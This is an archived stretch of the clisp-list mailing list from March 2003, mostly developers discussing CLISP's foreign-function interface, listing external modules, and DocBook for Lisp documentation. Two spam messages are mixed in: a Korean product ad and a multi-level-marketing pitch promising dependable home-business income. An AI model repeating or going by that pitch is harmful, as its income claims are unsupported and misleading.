(8.11.6+Sun/8.10.2) id h2BEkPm20203; Tue, 11 Mar 2003 09:46:25 -0500 (EST) X-Authentication-Warning: edgedsp4.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Using docbook for CLOS References: <15979.24309.484346.187606@dalet.fauser.it> <4n4r6aow2t.fsf@edgedsp4.rtp.ericsson.se> From: Raymond Toy In-Reply-To: Message-ID: <4nvfyqnepr.fsf@edgedsp4.rtp.ericsson.se> Lines: 15 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.5 (cabbage) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 11 06:47:10 2003 X-Original-Date: 11 Mar 2003 09:46:24 -0500 >>>>> "Sam" == Sam Steingold writes: Sam> yes, I do too, but the docbook mailing lists are marked "read-only" and Sam> gmane refuses to post there: Sam> You have tried posting to gmane.text.docbook.misc, which is a non-public Sam> mailing list. Gmane can therefore not send this message Sam> to that mailing list. Sorry, my fault. I misunderstood what list was being discussed. I don't read that. Oops! :-) Ray From sds@gnu.org Tue Mar 11 07:36:59 2003 Received: from out005pub.verizon.net ([206.46.170.143] helo=out005.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18sloI-0000BY-00 for ; Tue, 11 Mar 2003 07:36:58 -0800 Received: from loiso.podval.org ([151.203.48.207]) by out005.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030311153652.CNJN6910.out005.verizon.net@loiso.podval.org>; Tue, 11 Mar 2003 09:36:52 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2BFbITx022873; Tue, 11 Mar 2003 10:37:18 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2BFbH9v022869; Tue, 11 Mar 2003 10:37:17 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] on FFI:mark-invalid-foreign, malloc() and finalization References: <9F8582E37B2EE5498E76392AEDDCD3FE02B4DA59@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE02B4DA59@G8PQD.blf01.telekom.de> Message-ID: Lines: 50 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out005.verizon.net from [151.203.48.207] at Tue, 11 Mar 2003 09:36:51 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 11 07:37:27 2003 X-Original-Date: 11 Mar 2003 10:37:17 -0500 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE02B4DA59@G8PQD.blf01.telekom.de> > * On the subject of "[clisp-list] on FFI:mark-invalid-foreign, malloc() and finalization" > * Sent on Tue, 11 Mar 2003 11:24:40 +0100 > * Honorable "Hoehle, Joerg-Cyril" writes: > > >If somebody asks, I'll explain why > >FOREIGN-FREE doesn't do this [invoke MARK-INVALID-FOREIGN] automatically. there is no MARK-INVALID-FOREIGN and I think VALIDP should be setfable instead. > Suppose you'd like to free the root address only. If you mark the base > foreign-address as invalid, all others will be marked likewise and > become unusable. whatever is free()d, must be marked invalid. a segfault in CLISP is a bug in CLISP (except, of course, the FFI :-), so we should always barf on an attempt to free() the same memory twice. if you want to release only the root, you setf the lower level pointers to NULL, then call FOREIGN-FREE, which will release everything (and invalidate the root.) > I thought about SETF VALID T/NIL in the past. Setf NIL would be > ok. However, I decided it's a bad idea to reactivate a zombie address > from the Lisp level. This shall be done by lower-level C code, which > has much farther possibilities than the Lisp level, e.g. overwriting > the bits of the pointer to point to a new address, preserving > EQ-ness. The Lisp-level interface to controlling foreign-bases that I > thought about is more limited, yet is supposed to cover enough > cases. Think of how using C code, you could change the bits of a > bignum object (I'd have uses for that), while at Lisp-level it's not > possible. Live with that limitation in Lisp, accept > MARK-INVALID-FOREIGN (which I found positive that it's more visible > than setf on VALIDP) and remember C if you need more than that. (defun (setf validp) (new-v obj) (if (eq new-v (validp obj)) new-v (etypecase obj (foreign (if new-v (error "cannot resurrect a zombie - no voodoo in CLISP!") (invalidate-foreign-object obj)))))) -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Live Lisp and prosper. From Joerg-Cyril.Hoehle@t-systems.com Tue Mar 11 08:13:23 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18smNV-0002KS-00 for ; Tue, 11 Mar 2003 08:13:21 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 11 Mar 2003 16:59:13 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 11 Mar 2003 16:59:12 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE02B4DBA9@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] RFE: list-external-modules Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 11 08:14:06 2003 X-Original-Date: Tue, 11 Mar 2003 16:59:08 +0100 Sam answered one of my queries: >>did I send a few weeks ago a RFE or e-mail or whatever >> for either LIST-EXTERNAL-MODULES or *EXTERNAL-MODULES[-LIST]*? >I don't remember anything like that. >Why is this necessary? >we have *MODULES* already. That's for PROVIDE/REQUIRE. I was talking about what CLISP calls external modules. CLISP could provide the list of module__fastseq__xyz things it knows as a list. That's useful for interactive self-inspection ("how comes this #!@$% replies FFI::LOOKUP-FOREIGN-FUNCTION: no such function "foobar" to my DEF-CALL-OUT?! :(") (LIST-EXTERNAL-MODULES) -> ("fastseq" "ffimext" "regexp" "gdi" "mtest" "hinbug" "receiver") => "Ah, I started the wrong binary.". >you appear to indicate that when you get dlopen interface in, these >external modules will become obsolete anyway. I don't think so. I believe there will be less use for them. I laid out pros and cons in my article on the subject of extending CLISP via modules. When I asked Dan Stangers on his thoughts on that topic w.r.t. gdi, IIRC he said he still considers the approach he took as best. For instance, o external link modules compile on any plattform where CLISP compiles on, o while the FFI does not. o functions of external modules are made valid again when starting from an image. There's no working concept ready yet for that with shared libraries. o Modules provide init_functions() for further, automated customization. o many more ... I still see the external module system as providing the basis for user-configurable CLISP. E.g. dirkey ought to be turned into a module. Even sockets could have been conceived as a module, if they had been ready by then (and resolving some GC interaction problems). The FFI itself could have been a module (with a little work). Programmers will have a choice of using either shared libraries of modules for quite a few, but not all, areas. I believe shared libraries have a smoother learning curve, but modules offer more integration into Lisp, e.g. directly (efficiently) use CLISP vectors (including for integers or strings) instead of copying data around, and much more. More pros and cons in my article... Maybe the following applies: o thin-bindings & don't mind programming like C: use foreign library - if available. o Thick bindings, integrate well into Lisp, need something special from CLISP, care about portability and user-site configuration: use module. MS-Windows users will probably do a lot with shared libraries, since their are ubiquituous, like on the Amiga. It would be stupid IMHO to build a link module and link in kernel32.lib in order to acccess kernel32.dll. That's why until now, I haven't had a use for FFI with Amiga-CLISP, except to test that it compiles (and that it has callbacks and many more features). The AFFI is enough to access next to any shared library on the Amiga, and that's what people there want. I believe the same will happen to MS-Windows users, for many uses. My current design thoughts go towards a mean of loading a file containing DEF-CALL-OUT etc. which might not have to be changed whether the user has installed something as a shared library or an external module. That's a portable unified interface to both. Regards, Jorg Hohle. From sds@gnu.org Tue Mar 11 17:45:24 2003 Received: from pop017pub.verizon.net ([206.46.170.210] helo=pop017.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18svJ6-0006cv-00 for ; Tue, 11 Mar 2003 17:45:24 -0800 Received: from loiso.podval.org ([151.203.48.207]) by pop017.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030312014517.CFIK2095.pop017.verizon.net@loiso.podval.org>; Tue, 11 Mar 2003 19:45:17 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2C1jjTx032516; Tue, 11 Mar 2003 20:45:45 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2C1jMMO032512; Tue, 11 Mar 2003 20:45:22 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] RFE: list-external-modules References: <9F8582E37B2EE5498E76392AEDDCD3FE02B4DBA9@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE02B4DBA9@G8PQD.blf01.telekom.de> Message-ID: Lines: 27 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop017.verizon.net from [151.203.48.207] at Tue, 11 Mar 2003 19:45:17 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 11 17:46:07 2003 X-Original-Date: 11 Mar 2003 20:45:21 -0500 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE02B4DBA9@G8PQD.blf01.telekom.de> > * On the subject of "[clisp-list] RFE: list-external-modules" > * Sent on Tue, 11 Mar 2003 16:59:08 +0100 > * Honorable "Hoehle, Joerg-Cyril" writes: > > Sam answered one of my queries: > >>did I send a few weeks ago a RFE or e-mail or whatever > >> for either LIST-EXTERNAL-MODULES or *EXTERNAL-MODULES[-LIST]*? > > I was talking about what CLISP calls external modules. CLISP could > provide the list of module__fastseq__xyz things it knows as a list. Function EXT:MODULE-INFO Function (EXT:MODULE-INFO &OPTIONAL name verbose) allows one to inquire about what modules are available in the currently running image. When called without arguments, it returns the list of module names, starting with "clisp". When name is supplied and names a module, 3 values are returned - name, subr-count, object-count. When verbose is non-NIL, the full list of module lisp functions written in C (Subrs) and the full list of internal lisp objects available in C code are additionally returned for the total of 5 values. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux If you try to fail, and succeed, which have you done? From master@89894.com Tue Mar 11 20:29:56 2003 Received: from [218.147.125.173] (helo=89894.com) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18sxsJ-0001RB-00 for ; Tue, 11 Mar 2003 20:29:56 -0800 Message-ID: <129240-220032615164440796@89894.com> X-EM-Version: 6, 0, 0, 4 X-EM-Registration: #0010630410721500AB30 Reply-To: master@89894.com From: "½Å¿ë ö" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/html; charset=KS_C_5601-1987 Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] (±¤°í)¾Æ´Ï! ÀÌ ¹«½¼ ³¿»õ......???@ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 11 20:30:09 2003 X-Original-Date: Sun, 16 Feb 2003 01:44:40 +0900

=C1=A4=BA=B8=C5=EB=BD=C5=BA=CE =B1=C7=B0=ED =BB=E7=C7=D7=BF= =A1 =C0=C7=B0=C5 =C1=A6=B8=F1=BF=A1 [=B1=A4=B0=ED]=B6=F3=B0=ED =C7=A5=B1=E2=C7=D1 =B1=A4=B0=ED =B8=DE=C0= =CF=C0=D4=B4=CF=B4=D9=2E
=BC=F6=BD=C5=C0=BB =BF=F8=C4=A1 =BE=CA=C0=B8=BD= =C3=B8=E9 = =BC=F6=BD=C5=B0=C5=BA=CE=B8=A6 =B4=AD=B7=AF=C1=D6=BC=BC=BF=E4

 

(=B1=A4=B0=ED)=BE=C6=B4=CF!  =C0=CC =B9=AB=BD=BC=20 =B3=BF=BB=F5=2E=2E=2E=2E=2E=2E???@

 

=

=B9=E6=C7=E2=C1=A6=20 =B6=A7=B9=AE=BF=A1 =B8=D3=B8=AE=B0=A1 =BE=C6=C7=C1=BD=C3=C1=D2=2E=2E=2E!  =20 =C0=CC=B7=B8=B0=D4 =C7=CF=BD=C3=B8=E9 =B5=CB=B4=CF=B4=D9=2E<= /SPAN>

 

=B8= =F0=B5=E7=20 =B3=BF=BB=F5 =BE=C7=C3=EB=C1=A6=B0=C5 =C0=FC=B9=AE=2E=2E= =2E=2E=2E=2E

=C3=B5=BF=AC=BF=F8=B7=E1=20 =C1=A6=C7=B0=C0=B8=B7=CE =C0=CE=C3=BC =C0=FC=BF=AC =B9=AB=C7=D8=C7=CF=B0=ED= =C0=DA=BF=AC =C4=A3=C8=AD=C0=FB=C0=CE =C1=A6=C7=B0=C0=B8=B7=CE =B5=CE=C5=EB= =C0=BB =C0=AF=B9=DF=C7=CF=C1=F6 =BE=CA=BD=C0=B4=CF=B4=D9=2E=2E=2E=2E=2E

=B4=E3=B9=E8=B3=BF=BB=F5, =C0=BD=BD=C4=B3=BF=BB= =F5, =B0=F5=C6=CE=C0=CC=B3=BF=BB=F5, =B0=F5=C6=CE=C0=CC=BC=BC=B1=D5, =B9=AB= =C1=BB=B1=D5, =B9=DF=B3=BF=BB=F5, =C0=CE=C3=BC=B3=BF=BC=BC, =B5=C8=C0=E5=B1=B9=B3=BF=BB=F5= , =C3=BB=B1=B9=C0=E5=B3=BF=BB=F5,=20 =C0=CE=C5=D7=B8=AE=BE=EE =B3=BB=C0=E5=C0=E7 =B3=BF=BB=F5,

=C7=CF=BC=F6=B1=B8=B3=BF=BB=F5, =B0=A2=C1=BE =C4= =FB=C4=FB=C7=D1 =B3=BF=BB=F5, =BD=C2=BF=EB=C2=F7=BE=C8=C0=C7 =B3=BF=BB=F5,= =B0=A1=C3=E0=B3=BF=BB=F5, =B0=A1=C3=E0 =BA=D0=B4=A2=B3=BF=BB=F5, =C8=AD=C0= =E5=BD=C7=B3=BF=BB=F5, =BE=B2=B7=B9=B1=E2=B3=BF=BB=F5,=20 =BE=B2=B7=B9=B1=E2=C0=E5 =BE=C7=C3=EB,=

=C1=A4=C8=AD=C1=B6 =B3=BF=BB=F5, =BA=B4=BF=F8 = =C0=D4=BF=F8=BD=C7=B3=BF=BB=F5, =C1=F6=C7=CF=BD=C7 =C4=FB=C4=FB=C7=D1=20 =B3=BF=BB=F5,

=C0=CC =B8=F0=B5=E7 =B3=BF=BB=F5=BF=CD =BE=C7=C3=EB=B8=A6 =B1=D9=BF= =F8=C0=FB=C0=B8=B7=CE =BA=D0=C7=D8 =C1=A6=B0=C5=C7=CF=B8=E7 =B0=A2=C1=BE =BC= =BC=B1=D5=C0=BB =BB=EC=B1=D5=C3=B3=B8=AE=C7=D5=B4=CF=B4=D9=2E=2E=2E=2E

 

 

www=2E89894=2Ecom  =BF=A1=BC=AD

 

=B3=BF=BB=F5=BF=F8=C0=BB =C1=A6=B0=C5=C7=D1=B5=DA =C0=DA=BF=AC=C7= =E2=C0=BB =C0=BA=C0=BA=C7=CF=B0=D4 =C7=B3=B1=E2=BE=EE =C1=DD=B4=CF=B4=D9=2E=2E=2E=2E=2E

 

 

%%%  =20 =C3=DF=BB=E7   %%%

 

=C1=A6=C7=B0=C0=BB=20 =B1=B8=C0=D4=C7=CF=BD=C5=BA=D0=BF=A1 =C7=D1=C7=D8=BC=AD cafe=2Edaum=2Enet/106030 =B9=AB=C7=D1=B5=BF=B7=C2 =C4=AB=C6=E4=BF=A1 =C4=AB=C5=D7=B0=ED=B8=AE =C8=B8=BF=F8 =B5=EE=B7=CF=B6=F5=C0=BB =C5=AC=B8=AF= =C7=CF=B0=ED =B5=E9=BE=EE=B0=A1=BC=AD=20 =B1=DB=C0=BB=B3=B2=B0=DC=B3=F5=C0=B8=BD=C3=B8=E9 =B9=AB=C7=D1=B5=BF=B7=C2 = =B0=B3=B9=DF=C0=BB(=B3=E2=B8=BB=BE=C8=BF=A1 =BF=CF=B7=E1=BF=B9=C1=A4) =BF=CF= =B7=E1=C8=C4 =C3=A2=BE=F7 =C1=D6=C1=D6=B0=A1=B5=C7=BD=C7=BC=F6=C0=D6=B4=C2 =BF=EC=BC=B1=B1=C7 =B9=D7= =C0=DA=B0=DD=C0=CC=20 =C1=D6=BE=EE=C1=FD=B4=CF=B4=D9=2E=2E=2E

 

  ^^**^^    ^^**^^   =20 ^^**^^

 

=BC=EE=C7=CE=B8=F4     :=20=0D www=2E89894=2Ecom

=C0=FC  =20 =C8=AD     :=20 031-394-0045   hp :=20 011-281-1434   =BD=C5  =BF=EB =20 =C3=B6

=B9=AB=C7=D1 =B5=BF=B7=C2 :=20 cafe=2Edaum=2Enet/106030

 

=B0=A8=BB=E7 =C7=D5=B4=CF=B4=D9=2E=2E=2E=2E=2E

 

From jonathan_paulc4@netbizniz.zzn.com Tue Mar 11 23:48:04 2003 Received: from [202.161.150.20] (helo=dhs) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18t0y0-00024D-00 for ; Tue, 11 Mar 2003 23:48:04 -0800 Received: from localhost ([202.161.150.20]) by dhs with Microsoft SMTPSVC(5.0.2195.5329); Wed, 12 Mar 2003 15:47:50 +0800 X-Sender: jonathan_paulc4@netbizniz.zzn.com From: Jonathan Paul Calledo To: clisp-list@lists.sourceforge.net Reply-To: j_paul4@yahoo.com MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 7bit Message-ID: X-OriginalArrivalTime: 12 Mar 2003 07:47:50.0031 (UTC) FILETIME=[AE2091F0:01C2E86B] Subject: [clisp-list] Learn and Earn...Register For FREE! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 11 23:49:02 2003 X-Original-Date: Wed, 12 Mar 2003 15:47:50 +0800 Hello: I'm sending you this letter to introduce to you a legitimate home based business for a good extra income. So I didn't waste my time to share to you this tremendous online business opportunity that really works. But if this letter bothers you at any cost, please accept my deepest apology for doing so. But if not, please give me just a little of your time and read this. My name is Jonathan Paul Calledo. I would like to invite you to join the time tested online opportunity. For the past 5 years the program created a great name in the online network marketing world. It generates tremendous number of subscriptions worldwide. It produces many successful individuals in all walks of life. It has an excellent track record to date. The marketing plan has been improved frequently to adapt to the ever changing online market and to give the members the maximum benefits and satisfaction. It has a high payout compensation plan with unlimited and secured residual income streams. A monthly compensation that you can depend on. The activities are very simple. No experience needed. It is designed to work right in your home. If you have 10-15 hours a week, then you can easily succeed in this business. It has an excellent online training site where you can learn how to succeed in the online market. The lessons covers, basic and professional prospecting, leadership, tap root networking, etc. It has a powerful support system. Its the best support system I ever encountered. A team of upline sponsors that will assist you, guide you and support you in every step of the way to success. The team would even help you build up your own downlines. That's what we call TEAM work. If you want to have more information about this business opportunity, just get a FREE membership ID by sending an email to jonathancalledo@usa.net with the subject "REGISTER ME FOR FREE" and put your Firstname and Lastname in the body of your email. As a Free member you can enjoy lots of benefits and even start earning. It has NO COST, NO RISK, NO OBLIGATION, No COMMITMENT, and you can cancel your membership anytime you want. You have nothing to lose and definitely a lot to gain. Test drive our program and we will show you how to do the business. We even build up downlines for you. You can watch your downline grow and have the opportunity to earn from them. JOIN FOR FREE! LEARN and EARN! Sincerely yours, Jonathan Paul Calledo jonathancalledo@usa.net P.S. Removal Instruction: Please feel free to send email to 'jonathan_jpbc@netbizniz.zzn.com' with the subject "Remove Me" if you wish to be removed from my mailing list or if you no longer want to receive emails from me. Thank you very much. From Joerg-Cyril.Hoehle@t-systems.com Wed Mar 12 05:57:06 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18t6jA-0006eZ-00 for ; Wed, 12 Mar 2003 05:57:04 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 12 Mar 2003 14:56:54 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 12 Mar 2003 14:56:54 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE02B4DE64@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] RFE: list-external-modules MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 12 05:58:01 2003 X-Original-Date: Wed, 12 Mar 2003 14:56:51 +0100 Sam Steingold suggested: >Function EXT:MODULE-INFO > >Function (EXT:MODULE-INFO &OPTIONAL name verbose) allows one to inquire >about what modules are available in the currently running image. When >called without arguments, it returns the list of module names, starting >with "clisp". When name is supplied and names a module, 3 values are >returned - name, subr-count, object-count. When verbose is non-NIL, the >full list of module lisp functions written in C (Subrs) and the full >list of internal lisp objects available in C code are additionally >returned for the total of 5 values. Nice design. Overkill IMHO. Furthermore, returning "clisp" suggests that CLISP will also return something for (ext:module-info "clisp" T). I'm against returning the list of objects. So far, I have always been very happy that they were hidden so that the C level could use safe objects that no user or Lisp program would ever see, destroy or manipulate. There's a difference between src/constsym.d and src/constobj.d. If there's a need for sharing stuff between C and Lisp, then special variables (names!) are what's needed. Unfortunately, the module structure doesn't have symbols. Just objects (i.e. values). If the functions were to be returned, I believe it would be more useful to return their names (the symbols) than the function objects. A user can simply get the object from the name, but only builtin PRINT and the undocumented SYS::SUBR-INFO know how to get the name out of an object like #. Returning the list of functions may be nice. However, consider module_init_function_1 and _2: a module can do anything. Therefore, it's just some of the things that a module may define that are found in the module_subr and module_object tables which MODULE-INFO can return. For instance, DEF-C-VAR doesn't show up in the object_table etc. Given that, I tend to pursue a minimalistic approach: just return the list of external module names (not even the pseudo "clisp" module which is of little use to users), and let people consult the documentation for all this modules gives you. I believe this is enough for most purposes. Regards, Jorg Hohle. From sds@gnu.org Wed Mar 12 07:06:43 2003 Received: from out005pub.verizon.net ([206.46.170.143] helo=out005.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18t7oY-0000xB-00 for ; Wed, 12 Mar 2003 07:06:43 -0800 Received: from loiso.podval.org ([151.203.48.207]) by out005.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030312150636.KGLK6910.out005.verizon.net@loiso.podval.org>; Wed, 12 Mar 2003 09:06:36 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2CF75Tx006078; Wed, 12 Mar 2003 10:07:05 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2CF74QF006074; Wed, 12 Mar 2003 10:07:04 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] RFE: list-external-modules References: <9F8582E37B2EE5498E76392AEDDCD3FE02B4DE64@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE02B4DE64@G8PQD.blf01.telekom.de> Message-ID: Lines: 45 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out005.verizon.net from [151.203.48.207] at Wed, 12 Mar 2003 09:06:36 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 12 07:07:14 2003 X-Original-Date: 12 Mar 2003 10:07:04 -0500 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE02B4DE64@G8PQD.blf01.telekom.de> > * On the subject of "[clisp-list] RFE: list-external-modules" > * Sent on Wed, 12 Mar 2003 14:56:51 +0100 > * Honorable "Hoehle, Joerg-Cyril" writes: > > Furthermore, returning "clisp" suggests that CLISP will also return > something for (ext:module-info "clisp" T). it does - try it! > I'm against returning the list of objects. So far, I have always been > very happy that they were hidden so that the C level could use safe > objects that no user or Lisp program would ever see, destroy or > manipulate. well.... :-) CLISP offers many ways to shoot yourself in the foot, starting with your FOREIGN-FREE that does not invalidate the object. > If the functions were to be returned, I believe it would be more > useful to return their names (the symbols) than the function > objects. A user can simply get the object from the name, but only > builtin PRINT and the undocumented SYS::SUBR-INFO know how to get the > name out of an object like #. of course the names are returned! > For instance, DEF-C-VAR doesn't show up in the object_table etc. I know. where are these c-var's kept? what about call-ins and call-outs? > Given that, I tend to pursue a minimalistic approach: just return the > list of external module names (not even the pseudo "clisp" module > which is of little use to users), and let people consult the > documentation for all this modules gives you. I believe this is enough > for most purposes. just call (ext:module-info)! -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Daddy, what does "format disk c: complete" mean? From a.bignoli@computer.org Wed Mar 12 14:00:43 2003 Received: from host10-153.pool8020.interbusiness.it ([80.20.153.10] helo=shark.fauser.it) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18tEHC-000386-00 for ; Wed, 12 Mar 2003 14:00:42 -0800 Received: from ghimel.fauser.it (IDENT:0@pool2-ip5.fauser.it [80.20.153.100]) by shark.fauser.it (8.9.1a/8.9.1) with ESMTP id WAA21613 for ; Wed, 12 Mar 2003 22:57:02 +0100 (MET) Received: from dalet.fauser.it (IDENT:0@dalet.fauser.it [192.168.1.2]) by ghimel.fauser.it (8.12.8/8.12.8) with ESMTP id h2CM0Ifd000202 for ; Wed, 12 Mar 2003 23:00:18 +0100 Received: from dalet.fauser.it (IDENT:25@dalet.fauser.it [192.168.1.2]) by dalet.fauser.it (8.12.8/8.12.8) with ESMTP id h2CLrx1q017255 for ; Wed, 12 Mar 2003 22:54:00 +0100 Received: (from aurelio@localhost) by dalet.fauser.it (8.12.8/8.12.8/Submit) id h2CGCTR6005677; Wed, 12 Mar 2003 17:12:29 +0100 From: Aurelio Bignoli MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15983.23661.320637.326033@dalet.fauser.it> To: clisp-list@lists.sourceforge.net X-Mailer: VM 7.07 under Emacs 21.2.1 Subject: [clisp-list] Docbook again Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 12 14:01:15 2003 X-Original-Date: Wed, 12 Mar 2003 17:12:29 +0100 An interesting reply from Norman Walsh: > From: Norman Walsh > To: Henrik Motakef > Cc: james anderson , docbook@lists.oasis-open.org > Subject: DOCBOOK: Re: using docbook for CLOS > Date: Wed, 12 Mar 2003 07:32:23 -0500 > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > / Henrik Motakef was heard to say: > | why. Incidentally, I recently started to think about extending docbook > | to be a better fit for CL documentation, but a) I don't know if it's a > > I think CL documentation fits squarely in DocBook's problem 